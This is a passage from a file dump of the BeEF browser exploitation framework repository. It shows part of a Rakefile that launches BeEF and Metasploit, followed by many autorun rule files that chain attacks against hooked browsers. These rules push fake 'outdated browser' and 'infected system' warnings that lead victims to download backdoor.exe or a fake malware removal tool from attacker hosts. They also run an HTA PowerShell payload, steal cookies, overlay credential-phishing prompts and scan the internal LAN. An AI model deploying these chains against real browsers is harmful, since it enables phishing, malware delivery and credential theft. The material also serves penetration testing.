4, 3, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1]\n  delays.each do |i| # delay for a few seconds\n    printf '.'\n    sleep (i)\n  end\n  puts \".\\n\\n\"\nend\n\ntask :beef_stop do\n  # cleanup tmp/config files\n  puts \"\\nCleanup config file:\\n\"\n  rm_f @beef_config_file\n  ENV['TEST_BEEF_USER'] = nil\n  ENV['TEST_BEEF_PASS'] = nil\n\n  # shutting down\n  puts \"Shutting down BeEF...\\n\"\n  sh \"ps -ef|grep beef|grep -v grep|grep -v rake|awk '{print $2}'|xargs kill\"\nend\n\n################################\n# MSF environment set up\n\n@msf_process_id = nil;\n\ntask :msf_start => '/tmp/msf-test/msfconsole' do\n  printf \"Starting MSF (wait 45 seconds)...\"\n  @msf_process_id = IO.popen(\"/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null\", \"w+\")\n  delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]\n  delays.each do |i| # delay for 45 seconds\n    printf '.'\n    sleep (i) # increase the . display rate\n  end\n  puts '.'\nend\n\ntask :msf_stop do\n  puts \"\\nShutting down MSF...\\n\"\n  @msf_process_id.puts \"quit\"\nend\n\ntask :msf_install => '/tmp/msf-test/msfconsole' do\n  # Handled by the 'test/msf-test/msfconsole' task.\nend\n\ntask :msf_update => '/tmp/msf-test/msfconsole' do\n  sh \"cd /tmp/msf-test;git pull\"\nend\n\nfile '/tmp/msf-test/msfconsole' do\n  puts \"Installing MSF\"\n  sh \"cd test;git clone https://github.com/rapid7/metasploit-framework.git /tmp/msf-test\"\nend\n\n################################\n# ActiveRecord\nnamespace :db do\n  task :environment do\n    require_relative \"beef\"\n  end\nend\n"
  },
  {
    "path": "VERSION",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n0.6.0.0\n"
  },
  {
    "path": "_config.yml",
    "content": "theme: jekyll-theme-minimal"
  },
  {
    "path": "arerules/alert.json",
    "content": "{\"name\": \"Display an alert\",\n  \"author\": \"mgeeky\",\n  \"modules\": [\n    {\"name\": \"alert_dialog\",\n      \"condition\": null,\n      \"options\": {\n        \"text\":\"You've been BeEFed ;>\"\n      }\n    }\n  ],\n  \"execution_order\": [0],\n  \"execution_delay\": [0],\n  \"chain_mode\": \"sequential\"\n}\n"
  },
  {
    "path": "arerules/c_osx_test-return-mods.json",
    "content": "{\n  \"name\": \"Test return debug stuff\",\n  \"author\": \"antisnatchor\",\n  \"browser\": \"S\",\n  \"browser_version\": \">= 7\",\n  \"os\": \"OSX\",\n  \"os_version\": \"<= 10.10\",\n  \"modules\": [{\n    \"name\": \"test_return_ascii_chars\",\n    \"condition\": null,\n    \"options\": {}\n  }, {\n    \"name\": \"test_return_long_string\",\n    \"condition\": \"status==1\",\n    \"code\": \"var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';\",\n    \"options\": {\n      \"repeat\": \"10\",\n      \"repeat_string\": \"<<mod_input>>\"\n    }\n  },\n    {\n      \"name\": \"alert_dialog\",\n      \"condition\": \"status=1\",\n      \"code\": \"var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';\",\n      \"options\":{\"text\":\"<<mod_input>>\"}\n    },\n   {\n    \"name\": \"get_page_html\",\n    \"condition\": null,\n    \"options\": {}\n  }],\n  \"execution_order\": [0, 1, 2, 3],\n  \"execution_delay\": [0, 0, 0, 0],\n  \"chain_mode\": \"nested-forward\"\n}"
  },
  {
    "path": "arerules/confirm_close_tab.json",
    "content": "{\"name\": \"Confirm Close Tab\",\n  \"author\": \"mgeeky\",\n  \"modules\": [\n    {\"name\": \"confirm_close_tab\",\n      \"condition\": null,\n      \"code\": null,\n      \"options\": {\n        \"text\":\"Are you sure you want to navigate away from this page?\",\n        \"usePopUnder\":\"true\"\n      }\n    }\n  ],\n  \"execution_order\": [0],\n  \"execution_delay\": [0],\n  \"chain_mode\": \"sequential\"\n}\n"
  },
  {
    "path": "arerules/enabled/README",
    "content": "Move here the ARE rule files that you want to pre-load when BeEF starts.\nMake sure they are .json files (any other file extension is ignored)."
  },
  {
    "path": "arerules/ff_osx_extension-dropper.json",
    "content": "{\n  \"name\": \"Firefox Extension Dropper\",\n  \"author\": \"antisnatchor\",\n  \"browser\": \"FF\",\n  \"os\": \"OSX\",\n  \"os_version\": \">= 10.8\",\n  \"modules\": [{\n    \"name\": \"firefox_extension_dropper\",\n    \"condition\": null,\n    \"options\": {\n      \"extension_name\": \"Ummeneske\",\n      \"xpi_name\": \"Ummeneske\",\n      \"base_host\": \"http://172.16.45.1:3000\"\n    }\n  }],\n  \"execution_order\": [0],\n  \"execution_delay\": [0],\n  \"chain_mode\": \"sequential\"\n}\n"
  },
  {
    "path": "arerules/get_cookie.json",
    "content": "{\n  \"name\": \"Get Cookie\",\n  \"author\": \"@benichmt1\",\n  \"modules\": [\n    {\"name\": \"get_cookie\",\n      \"condition\": null,\n      \"options\": {\n      }\n    }\n  ],\n  \"execution_order\": [0],\n  \"execution_delay\": [0],\n  \"chain_mode\": \"sequential\"\n}\n"
  },
  {
    "path": "arerules/ie_win_fakenotification-clippy.json",
    "content": "{\n  \"name\": \"Ie Fake Notification + Clippy\",\n  \"author\": \"antisnatchor\",\n  \"browser\": \"IE\",\n  \"browser_version\": \"== 11\",\n  \"os\": \"Windows\",\n  \"os_version\": \">= 7\",\n  \"modules\": [\n    {\n      \"name\": \"fake_notification\",\n      \"condition\": null,\n      \"options\": {\n        \"notification_text\":\"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it.\"\n      }\n    }\n  ,{\n      \"name\": \"clippy\",\n      \"condition\": null,\n      \"options\": {\n        \"clippydir\": \"http://172.16.45.1:3000/clippy/\",\n        \"askusertext\": \"Your browser appears to be out of date. Would you like to upgrade it?\",\n        \"executeyes\": \"http://172.16.45.1:3000/updates/backdoor.exe\",\n        \"respawntime\":\"5000\",\n        \"thankyoumessage\":\"Thanks for upgrading your browser! Look forward to a safer, faster web!\"\n      }\n    }\n  ],\n  \"execution_order\": [0,1],\n  \"execution_delay\": [0,2000],\n  \"chain_mode\": \"sequential\"\n}\n"
  },
  {
    "path": "arerules/ie_win_htapowershell.json",
    "content": "{\n  \"name\": \"HTA PowerShell\",\n  \"author\": \"antisnatchor\",\n  \"browser\": \"IE\",\n  \"os\": \"Windows\",\n  \"os_version\": \">= 7\",\n  \"modules\": [\n    {\n      \"name\": \"fake_notification\",\n      \"condition\": null,\n      \"options\": {\n        \"notification_text\":\"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:\"\n      }\n    },\n    {\n      \"name\": \"hta_powershell\",\n      \"condition\": null,\n      \"options\": {\n        \"domain\":\"http://172.16.45.1:3000\",\n        \"ps_url\":\"/ps\"\n      }\n    }],\n  \"execution_order\": [0,1],\n  \"execution_delay\": [0,500],\n  \"chain_mode\": \"sequential\"\n}\n"
  },
  {
    "path": "arerules/ie_win_missingflash-prettytheft.json",
    "content": "{\n  \"name\": \"Fake missing plugin + Pretty Theft LinkedIn\",\n  \"author\": \"antisnatchor\",\n  \"browser\": \"IE\",\n  \"browser_version\": \">= 8\",\n  \"os\": \"Windows\",\n  \"os_version\": \"== XP\",\n  \"modules\": [{\n    \"name\": \"fake_notification_c\",\n    \"condition\": null,\n    \"options\": {\n      \"url\": \"http://172.16.45.1:3000/updates/backdoor.exe\",\n      \"notification_text\": \"The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. \"\n    }\n  }, {\n    \"name\": \"pretty_theft\",\n    \"condition\": null,\n    \"options\": {\n      \"choice\": \"Windows\",\n      \"backing\": \"Grey\",\n      \"imgsauce\": \"http://172.16.45.1:3000/ui/media/images/beef.png\"\n    }\n  }],\n  \"execution_order\": [0, 1],\n  \"execution_delay\": [0, 5000],\n  \"chain_mode\": \"sequential\"\n}"
  },
  {
    "path": "arerules/ie_win_test-return-mods.json",
    "content": "{\n  \"name\": \"Test return debug stuff\",\n  \"author\": \"antisnatchor\",\n  \"browser\": \"IE\",\n  \"browser_version\": \"<= 8\",\n  \"os\": \"Windows\",\n  \"os_version\": \">= XP\",\n  \"modules\": [{\n    \"name\": \"test_return_ascii_chars\",\n    \"condition\": null,\n    \"options\": {}\n  }, {\n    \"name\": \"test_return_long_string\",\n    \"condition\": \"status==1\",\n    \"code\": \"var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';\",\n    \"options\": {\n      \"repeat\": \"10\",\n      \"repeat_string\": \"<<mod_input>>\"\n    }\n  },\n    {\n      \"name\": \"alert_dialog\",\n      \"condition\": \"status=1\",\n      \"code\": \"var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';\",\n      \"options\":{\"text\":\"<<mod_input>>\"}\n    },\n   {\n    \"name\": \"get_page_html\",\n    \"condition\": null,\n    \"options\": {}\n  }],\n  \"execution_order\": [0, 1, 2, 3],\n  \"execution_delay\": [0, 0, 0, 0],\n  \"chain_mode\": \"nested-forward\"\n}"
  },
  {
    "path": "arerules/lan_cors_scan.json",
    "content": "{\"name\": \"LAN CORS Scan\",\n  \"author\": \"bcoles\",\n  \"browser\": [\"FF\", \"C\"],\n  \"modules\": [\n    {\"name\": \"get_internal_ip_webrtc\",\n      \"condition\": null,\n      \"code\": null,\n      \"options\": {}\n    },\n    {\"name\": \"cross_origin_scanner_cors\",\n      \"condition\": \"status==1\",\n      \"code\": \"var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;\",\n      \"options\": {\n        \"ipRange\":\"<<mod_input>>\",\n        \"ports\":\"80,8080\",\n        \"threads\":\"2\",\n        \"wait\":\"2\",\n        \"timeout\":\"10\"\n      }\n    }\n  ],\n  \"execution_order\": [0, 1],\n  \"execution_delay\": [0, 0],\n  \"chain_mode\": \"nested-forward\"\n}\n"
  },
  {
    "path": "arerules/lan_cors_scan_common.json",
    "content": "{\"name\": \"LAN CORS Scan (Common IPs)\",\n  \"author\": \"bcoles\",\n  \"modules\": [\n    {\"name\": \"cross_origin_scanner_cors\",\n      \"condition\": null,\n      \"code\": null,\n      \"options\": {\n        \"ipRange\":\"common\",\n        \"ports\":\"80,8080\",\n        \"threads\":\"2\",\n        \"wait\":\"2\",\n        \"timeout\":\"10\"\n      }\n    }\n  ],\n  \"execution_order\": [0],\n  \"execution_delay\": [0],\n  \"chain_mode\": \"sequential\"\n}\n"
  },
  {
    "path": "arerules/lan_fingerprint.json",
    "content": "{\"name\": \"LAN Fingerprint\",\n  \"author\": \"bcoles\",\n  \"browser\": [\"FF\", \"C\"],\n  \"modules\": [\n    {\"name\": \"get_internal_ip_webrtc\",\n      \"condition\": null,\n      \"code\": null,\n      \"options\": {}\n    },\n    {\"name\": \"internal_network_fingerprinting\",\n      \"condition\": \"status==1\",\n      \"code\": \"var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;\",\n      \"options\": {\n        \"ipRange\":\"<<mod_input>>\",\n        \"ports\":\"80,8080\",\n        \"threads\":\"3\",\n        \"wait\":\"5\",\n        \"timeout\":\"10\"\n      }\n    }\n  ],\n  \"execution_order\": [0, 1],\n  \"execution_delay\": [0, 0],\n  \"chain_mode\": \"nested-forward\"\n}\n"
  },
  {
    "path": "arerules/lan_fingerprint_common.json",
    "content": "{\"name\": \"LAN Fingerprint (Common IPs)\",\n  \"author\": \"antisnatchor\",\n  \"modules\": [\n    {\"name\": \"internal_network_fingerprinting\",\n      \"condition\": null,\n      \"code\": null,\n      \"options\": {\n        \"ipRange\":\"common\",\n        \"ports\":\"80,8080\",\n        \"threads\":\"3\",\n        \"wait\":\"5\",\n        \"timeout\":\"10\"\n      }\n    }\n  ],\n  \"execution_order\": [0],\n  \"execution_delay\": [0],\n  \"chain_mode\": \"sequential\"\n}\n"
  },
  {
    "path": "arerules/lan_flash_scan.json",
    "content": "{\"name\": \"LAN Flash Scan\",\n  \"author\": \"bcoles\",\n  \"browser\": [\"FF\", \"C\"],\n  \"modules\": [\n    {\"name\": \"get_internal_ip_webrtc\",\n      \"condition\": null,\n      \"code\": null,\n      \"options\": {}\n    },\n    {\"name\": \"cross_origin_scanner_flash\",\n      \"condition\": \"status==1\",\n      \"code\": \"var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;\",\n      \"options\": {\n        \"ipRange\":\"<<mod_input>>\",\n        \"ports\":\"80,8080\",\n        \"threads\":\"2\",\n        \"timeout\":\"5\"\n      }\n    }\n  ],\n  \"execution_order\": [0, 1],\n  \"execution_delay\": [0, 0],\n  \"chain_mode\": \"nested-forward\"\n}\n"
  },
  {
    "path": "arerules/lan_flash_scan_common.json",
    "content": "{\"name\": \"LAN Flash Scan (Common IPs)\",\n  \"author\": \"bcoles\",\n  \"browser\": [\"FF\", \"C\"],\n  \"modules\": [\n    {\"name\": \"cross_origin_scanner_flash\",\n      \"condition\": null,\n      \"code\": null,\n      \"options\": {\n        \"ipRange\":\"common\",\n        \"ports\":\"80,8080\",\n        \"threads\":\"2\",\n        \"timeout\":\"5\"\n      }\n    }\n  ],\n  \"execution_order\": [0],\n  \"execution_delay\": [0],\n  \"chain_mode\": \"sequential\"\n}\n"
  },
  {
    "path": "arerules/lan_http_scan.json",
    "content": "{\"name\": \"LAN HTTP Scan\",\n  \"author\": \"bcoles\",\n  \"browser\": [\"FF\", \"C\"],\n  \"modules\": [\n    {\"name\": \"get_internal_ip_webrtc\",\n      \"condition\": null,\n      \"code\": null,\n      \"options\": {}\n    },\n    {\"name\": \"get_http_servers\",\n      \"condition\": \"status==1\",\n      \"code\": \"var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;\",\n      \"options\": {\n        \"rhosts\":\"<<mod_input>>\",\n        \"ports\":\"80,8080\",\n        \"threads\":\"3\",\n        \"wait\":\"5\",\n        \"timeout\":\"10\"\n      }\n    }\n  ],\n  \"execution_order\": [0, 1],\n  \"execution_delay\": [0, 0],\n  \"chain_mode\": \"nested-forward\"\n}\n"
  },
  {
    "path": "arerules/lan_http_scan_common.json",
    "content": "{\"name\": \"LAN HTTP Scan (Common IPs)\",\n  \"author\": \"bcoles\",\n  \"modules\": [\n    {\"name\": \"get_http_servers\",\n      \"condition\": null,\n      \"code\": null,\n      \"options\": {\n        \"rhosts\":\"common\",\n        \"ports\":\"80,8080\",\n        \"threads\":\"3\",\n        \"wait\":\"5\",\n        \"timeout\":\"10\"\n      }\n    }\n  ],\n  \"execution_order\": [0],\n  \"execution_delay\": [0],\n  \"chain_mode\": \"sequential\"\n}\n"
  },
  {
    "path": "arerules/lan_ping_sweep.json",
    "content": "{\"name\": \"LAN Ping Sweep\",\n  \"author\": \"bcoles\",\n  \"browser\": \"FF\",\n  \"modules\": [\n    {\"name\": \"get_internal_ip_webrtc\",\n      \"condition\": null,\n      \"code\": null,\n      \"options\": {}\n    },\n    {\"name\": \"ping_sweep\",\n      \"condition\": \"status==1\",\n      \"code\": \"var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;\",\n      \"options\": {\n        \"rhosts\":\"<<mod_input>>\",\n        \"threads\":\"3\"\n      }\n    }\n  ],\n  \"execution_order\": [0, 1],\n  \"execution_delay\": [0, 0],\n  \"chain_mode\": \"nested-forward\"\n}\n"
  },
  {
    "path": "arerules/lan_ping_sweep_common.json",
    "content": "{\"name\": \"LAN Ping Sweep (Common IPs)\",\n  \"author\": \"bcoles\",\n  \"browser\": \"FF\",\n  \"modules\": [\n    {\"name\": \"ping_sweep\",\n      \"condition\": null,\n      \"code\": null,\n      \"options\": {\n        \"rhosts\":\"common\",\n        \"threads\":\"3\"\n      }\n    }\n  ],\n  \"execution_order\": [0],\n  \"execution_delay\": [0],\n  \"chain_mode\": \"sequential\"\n}\n"
  },
  {
    "path": "arerules/lan_port_scan.json",
    "content": "{\"name\": \"LAN Port Scan\",\n  \"author\": \"aburro & aussieklutz\",\n  \"modules\": [\n    {\"name\": \"get_internal_ip_webrtc\",\n      \"condition\": null,\n      \"code\": null,\n      \"options\": {}\n    },\n    {\"name\": \"port_scanner\",\n      \"condition\": \"status==1\",\n      \"code\": \"var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;\",\n      \"options\": {\n        \"ipHost\":\"<<mod_input>>\",\n        \"ports\":\"80,8080\",\n        \"closetimeout\":\"1100\",\n        \"opentimeout\":\"2500\",\n        \"delay\":\"600\",\n        \"debug\":\"false\"\n      }\n    }\n  ],\n  \"execution_order\": [0, 1],\n  \"execution_delay\": [0, 0],\n  \"chain_mode\": \"nested-forward\"\n}\n"
  },
  {
    "path": "arerules/lan_sw_port_scan.json",
    "content": "{\"name\": \"LAN SW Port Scan\",\n  \"author\": \"aburro & aussieklutz\",\n  \"modules\": [\n    {\"name\": \"get_internal_ip_webrtc\",\n      \"condition\": null,\n      \"code\": null,\n      \"options\": {}\n    },\n    {\"name\": \"sw_port_scanner\",\n      \"condition\": \"status==1\",\n      \"code\": \"var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;\",\n      \"options\": {\n        \"ipHost\":\"192.168.1.10\",\n        \"ports\":\"80,8080\"\n      }\n    }\n  ],\n  \"execution_order\": [0, 1],\n  \"execution_delay\": [0, 0],\n  \"chain_mode\": \"nested-forward\"\n}\n"
  },
  {
    "path": "arerules/man_in_the_browser.json",
    "content": "{\"name\": \"Perform Man-In-The-Browser\",\n  \"author\": \"mgeeky\",\n  \"modules\": [\n    {\"name\": \"man_in_the_browser\",\n      \"condition\": null,\n      \"code\": null,\n      \"options\": {}\n    }\n  ],\n  \"execution_order\": [0],\n  \"execution_delay\": [0],\n  \"chain_mode\": \"sequential\"\n}\n"
  },
  {
    "path": "arerules/raw_javascript.json",
    "content": "{\n  \"name\": \"Raw JavaScript\",\n  \"author\": \"wade@bindshell.net\",\n  \"modules\": [\n    {\"name\": \"raw_javascript\",\n      \"condition\": null,\n      \"options\": {\n         \"cmd\": \"alert(0xBeEF);\"\n      }\n    }\n  ],\n  \"execution_order\": [0],\n  \"execution_delay\": [0],\n  \"chain_mode\": \"sequential\"\n}\n"
  },
  {
    "path": "arerules/record_snapshots.json",
    "content": "{\"name\": \"Collects multiple snapshots of the webpage within Same-Origin\",\n  \"author\": \"mgeeky\",\n  \"modules\": [\n    {\"name\": \"spyder_eye\",\n      \"condition\": null,\n      \"options\": {\n        \"repeat\":\"10\",\n        \"delay\":\"3000\"\n      }\n    }\n  ],\n  \"execution_order\": [0],\n  \"execution_delay\": [0],\n  \"chain_mode\": \"sequential\"\n}\n"
  },
  {
    "path": "arerules/win_fake_malware.json",
    "content": "// note: update your dropper URL (dropper.local) in each of the modules below\n{\n  \"name\": \"Windows Fake Malware\",\n  \"author\": \"bcoles\",\n  \"os\": \"Windows\",\n  \"modules\": [\n    {\n      \"name\": \"blockui\",\n      \"condition\": null,\n      \"options\": {\n        \"message\": \"<img src='data:image/png;base64,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'/><p>This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer before you do any shopping online. <p><a href='http://dropper.local/malware_removal_tool.exe' onclick='$j.unblockUI();'>Microsoft Malware Removal Toolkit</a></p>\",\n        \"timeout\": \"9999\"\n      }\n    },\n    {\n      \"name\": \"text_to_voice\",\n      \"condition\": null,\n      \"options\": {\n        \"message\": \"This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer; before you do any shopping online.\",\n        \"language\": \"en\"\n      }\n    },\n    {\n      \"name\": \"fake_notification_ie\",\n      \"condition\": null,\n      \"options\": {\n        \"url\": \"http://dropper.local/malware_removal_tool.exe\",\n        \"notification_text\": \"SECURITY WARNING: Download the <a href='http://dropper.local/malware_removal_tool.exe' title='Microsoft Malware Removal Toolkit'>Microsoft Malware Removal Toolkit</a> as soon as possible.\"\n      }\n    }\n  ],\n  \"execution_order\": [0,1,2],\n  \"execution_delay\": [0,0,0],\n  \"chain_mode\": \"sequential\"\n}\n"
  },
  {
    "path": "beef",
